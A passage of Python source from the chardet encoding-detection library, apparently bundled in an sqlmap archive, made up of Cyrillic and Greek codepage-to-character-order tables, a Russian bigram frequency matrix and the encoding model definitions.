238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253, # b0 27, 3, 21, 28, 13, 2, 39, 19, 26, 4, 23, 11, 8, 12, 5, 1, # c0 15, 16, 9, 7, 6, 14, 24, 10, 17, 18, 20, 25, 30, 29, 22, 54, # d0 59, 37, 44, 58, 41, 48, 53, 46, 55, 42, 60, 36, 49, 38, 31, 34, # e0 35, 43, 45, 32, 40, 52, 56, 33, 61, 62, 51, 57, 47, 63, 50, 70, # f0 ) win1251_CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, 207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, 223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, 239,240,241,242,243,244,245,246, 68,247,248,249,250,251,252,253, 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, ) latin5_CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, 207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, 223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, 239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, ) macCyrillic_CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, 191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, 207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, 223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, 239,240,241,242,243,244,245,246,247,248,249,250,251,252, 68, 16, 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27,255, ) IBM855_CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 191,192,193,194, 68,195,196,197,198,199,200,201,202,203,204,205, 206,207,208,209,210,211,212,213,214,215,216,217, 27, 59, 54, 70, 3, 37, 21, 44, 28, 58, 13, 41, 2, 48, 39, 53, 19, 46,218,219, 220,221,222,223,224, 26, 55, 4, 42,225,226,227,228, 23, 60,229, 230,231,232,233,234,235, 11, 36,236,237,238,239,240,241,242,243, 8, 49, 12, 38, 5, 31, 1, 34, 15,244,245,246,247, 35, 16,248, 43, 9, 45, 7, 32, 6, 40, 14, 52, 24, 56, 10, 33, 17, 61,249, 250, 18, 62, 20, 51, 25, 57, 30, 47, 29, 63, 22, 50,251,252,255, ) IBM866_CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, 191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, 207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, 223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, 239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, ) # Model Table: # total sequences: 100% # first 512 sequences: 97.6601% # first 1024 sequences: 2.3389% # rest sequences: 0.1237% # negative sequences: 0.0009% RussianLangModel = ( 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,1,3,3,3,3,1,3,3,3,2,3,2,3,3, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,2,2,2,2,2,0,0,2, 3,3,3,2,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,2,3,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,2,2,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,2,3,3,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1, 0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1, 0,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,2,2,2,3,1,3,3,1,3,3,3,3,2,2,3,0,2,2,2,3,3,2,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,3,3,3,3,3,2,2,3,2,3,3,3,2,1,2,2,0,1,2,2,2,2,2,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,3,0,2,2,3,3,2,1,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,3,3,1,2,3,2,2,3,2,3,3,3,3,2,2,3,0,3,2,2,3,1,1,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,3,3,3,3,2,2,2,0,3,3,3,2,2,2,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,2,3,2,2,0,1,3,2,1,2,2,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,2,1,1,3,0,1,1,1,1,2,1,1,0,2,2,2,1,2,0,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,3,3,2,2,2,2,1,3,2,3,2,3,2,1,2,2,0,1,1,2,1,2,1,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,2,3,3,3,2,2,2,2,0,2,2,2,2,3,1,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 3,2,3,2,2,3,3,3,3,3,3,3,3,3,1,3,2,0,0,3,3,3,3,2,3,3,3,3,2,3,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,3,3,2,2,3,3,0,2,1,0,3,2,3,2,3,0,0,1,2,0,0,1,0,1,2,1,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,3,0,2,3,3,3,3,2,3,3,3,3,1,2,2,0,0,2,3,2,2,2,3,2,3,2,2,3,0,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,3,0,2,3,2,3,0,1,2,3,3,2,0,2,3,0,0,2,3,2,2,0,1,3,1,3,2,2,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,3,0,2,3,3,3,3,3,3,3,3,2,1,3,2,0,0,2,2,3,3,3,2,3,3,0,2,2,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,2,3,3,2,2,2,3,3,0,0,1,1,1,1,1,2,0,0,1,1,1,1,0,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,2,3,3,3,3,3,3,3,0,3,2,3,3,2,3,2,0,2,1,0,1,1,0,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,3,3,3,2,2,2,2,3,1,3,2,3,1,1,2,1,0,2,2,2,2,1,3,1,0, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 2,2,3,3,3,3,3,1,2,2,1,3,1,0,3,0,0,3,0,0,0,1,1,0,1,2,1,0,0,0,0,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,2,1,1,3,3,3,2,2,1,2,2,3,1,1,2,0,0,2,2,1,3,0,0,2,1,1,2,1,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,3,3,3,3,1,2,2,2,1,2,1,3,3,1,1,2,1,2,1,2,2,0,2,0,0,1,1,0,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,3,3,2,1,3,2,2,3,2,0,3,2,0,3,0,1,0,1,1,0,0,1,1,1,1,0,1,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,2,3,3,3,2,2,2,3,3,1,2,1,2,1,0,1,0,1,1,0,1,0,0,2,1,1,1,0,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, 3,1,1,2,1,2,3,3,2,2,1,2,2,3,0,2,1,0,0,2,2,3,2,1,2,2,2,2,2,3,1,0, 0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,1,1,0,1,1,2,2,1,1,3,0,0,1,3,1,1,1,0,0,0,1,0,1,1,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,1,3,3,3,2,0,0,0,2,1,0,1,0,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,1,0,0,2,3,2,2,2,1,2,2,2,1,2,1,0,0,1,1,1,0,2,0,1,1,1,0,0,1,1, 1,0,0,0,0,0,1,2,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,3,0,0,0,0,1,0,0,0,0,3,0,1,2,1,0,0,0,0,0,0,0,1,1,0,0,1,1, 1,0,1,0,1,2,0,0,1,1,2,1,0,1,1,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0, 2,2,3,2,2,2,3,1,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,0,1,0,1,1,1,0,2,1, 1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0, 3,3,3,2,2,2,2,3,2,2,1,1,2,2,2,2,1,1,3,1,2,1,2,0,0,1,1,0,1,0,2,1, 1,1,1,1,1,2,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,0, 2,0,0,1,0,3,2,2,2,2,1,2,1,2,1,2,0,0,0,2,1,2,2,1,1,2,2,0,1,1,0,2, 1,1,1,1,1,0,1,1,1,2,1,1,1,2,1,0,1,2,1,1,1,1,0,1,1,1,0,0,1,0,0,1, 1,3,2,2,2,1,1,1,2,3,0,0,0,0,2,0,2,2,1,0,0,0,0,0,0,1,0,0,0,0,1,1, 1,0,1,1,0,1,0,1,1,0,1,1,0,2,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0, 2,3,2,3,2,1,2,2,2,2,1,0,0,0,2,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,2,1, 1,1,2,1,0,2,0,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0, 3,0,0,1,0,2,2,2,3,2,2,2,2,2,2,2,0,0,0,2,1,2,1,1,1,2,2,0,0,0,1,2, 1,1,1,1,1,0,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1, 2,3,2,3,3,2,0,1,1,1,0,0,1,0,2,0,1,1,3,1,0,0,0,0,0,0,0,1,0,0,2,1, 1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0, 2,3,3,3,3,1,2,2,2,2,0,1,1,0,2,1,1,1,2,1,0,1,1,0,0,1,0,1,0,0,2,0, 0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,3,3,2,0,0,1,1,2,2,1,0,0,2,0,1,1,3,0,0,1,0,0,0,0,0,1,0,1,2,1, 1,1,2,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0, 1,3,2,3,2,1,0,0,2,2,2,0,1,0,2,0,1,1,1,0,1,0,0,0,3,0,1,1,0,0,2,1, 1,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,2,1,1,0,1,0,0,0,1,0,1,0,0,1,1,0, 3,1,2,1,1,2,2,2,2,2,2,1,2,2,1,1,0,0,0,2,2,2,0,0,0,1,2,1,0,1,0,1, 2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,2,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1, 3,0,0,0,0,2,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,1, 1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1, 1,3,3,2,2,0,0,0,2,2,0,0,0,1,2,0,1,1,2,0,0,0,0,0,0,0,0,1,0,0,2,1, 0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0, 2,3,2,3,2,0,0,0,0,1,1,0,0,0,2,0,2,0,2,0,0,0,0,0,1,0,0,1,0,0,1,1, 1,1,2,0,1,2,1,0,1,1,2,1,1,1,1,1,2,1,1,0,1,0,0,1,1,1,1,1,0,1,1,0, 1,3,2,2,2,1,0,0,2,2,1,0,1,2,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1, 0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,0,2,3,1,2,2,2,2,2,2,1,1,0,0,0,1,0,1,0,2,1,1,1,0,0,0,0,1, 1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0, 2,0,2,0,0,1,0,3,2,1,2,1,2,2,0,1,0,0,0,2,1,0,0,2,1,1,1,1,0,2,0,2, 2,1,1,1,1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1, 1,2,2,2,2,1,0,0,1,0,0,0,0,0,2,0,1,1,1,1,0,0,0,0,1,0,1,2,0,0,2,0, 1,0,1,1,1,2,1,0,1,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0, 2,1,2,2,2,0,3,0,1,1,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0, 1,2,2,3,2,2,0,0,1,1,2,0,1,2,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1, 0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0, 2,2,1,1,2,1,2,2,2,2,2,1,2,2,0,1,0,0,0,1,2,2,2,1,2,1,1,1,1,1,2,1, 1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1, 1,2,2,2,2,0,1,0,2,2,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0, 0,0,1,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,2,2,0,0,0,2,2,2,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1, 0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,2,2,0,0,0,0,1,0,0,1,1,2,0,0,0,0,1,0,1,0,0,1,0,0,2,0,0,0,1, 0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, 1,2,2,2,1,1,2,0,2,1,1,1,1,0,2,2,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1, 0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 1,0,2,1,2,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0, 0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0, 1,0,0,0,0,2,0,1,2,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1, 0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1, 2,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 1,1,1,0,1,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0, 0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, ) Koi8rModel = { 'charToOrderMap': KOI8R_CharToOrderMap, 'precedenceMatrix': RussianLangModel, 'mTypicalPositiveRatio': 0.976601, 'keepEnglishLetter': False, 'charsetName': "KOI8-R" } Win1251CyrillicModel = { 'charToOrderMap': win1251_CharToOrderMap, 'precedenceMatrix': RussianLangModel, 'mTypicalPositiveRatio': 0.976601, 'keepEnglishLetter': False, 'charsetName': "windows-1251" } Latin5CyrillicModel = { 'charToOrderMap': latin5_CharToOrderMap, 'precedenceMatrix': RussianLangModel, 'mTypicalPositiveRatio': 0.976601, 'keepEnglishLetter': False, 'charsetName': "ISO-8859-5" } MacCyrillicModel = { 'charToOrderMap': macCyrillic_CharToOrderMap, 'precedenceMatrix': RussianLangModel, 'mTypicalPositiveRatio': 0.976601, 'keepEnglishLetter': False, 'charsetName': "MacCyrillic" }; Ibm866Model = { 'charToOrderMap': IBM866_CharToOrderMap, 'precedenceMatrix': RussianLangModel, 'mTypicalPositiveRatio': 0.976601, 'keepEnglishLetter': False, 'charsetName': "IBM866" } Ibm855Model = { 'charToOrderMap': IBM855_CharToOrderMap, 'precedenceMatrix': RussianLangModel, 'mTypicalPositiveRatio': 0.976601, 'keepEnglishLetter': False, 'charsetName': "IBM855" } # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/langgreekmodel.py000066400000000000000000000305241326012263700221570ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Character Mapping Table: Latin7_CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85, # 40 79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253, # 50 253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55, # 60 78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253, # 70 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 80 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 90 253,233, 90,253,253,253,253,253,253,253,253,253,253, 74,253,253, # a0 253,253,253,253,247,248, 61, 36, 46, 71, 73,253, 54,253,108,123, # b0 110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39, # c0 35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15, # d0 124, 1, 29, 20, 21, 3, 32, 13, 25, 5, 11, 16, 10, 6, 30, 4, # e0 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, # f0 ) win1253_CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85, # 40 79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253, # 50 253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55, # 60 78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253, # 70 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 80 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 90 253,233, 61,253,253,253,253,253,253,253,253,253,253, 74,253,253, # a0 253,253,253,253,247,253,253, 36, 46, 71, 73,253, 54,253,108,123, # b0 110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39, # c0 35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15, # d0 124, 1, 29, 20, 21, 3, 32, 13, 25, 5, 11, 16, 10, 6, 30, 4, # e0 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, # f0 ) # Model Table: # total sequences: 100% # first 512 sequences: 98.2851% # first 1024 sequences:1.7001% # rest sequences: 0.0359% # negative sequences: 0.0148% GreekLangModel = ( 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,3,2,2,3,3,3,3,3,3,3,3,1,3,3,3,0,2,2,3,3,0,3,0,3,2,0,3,3,3,0, 3,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,3,3,3,3,0,3,3,0,3,2,3,3,0,3,2,3,3,3,0,0,3,0,3,0,3,3,2,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, 0,2,3,2,2,3,3,3,3,3,3,3,3,0,3,3,3,3,0,2,3,3,0,3,3,3,3,2,3,3,3,0, 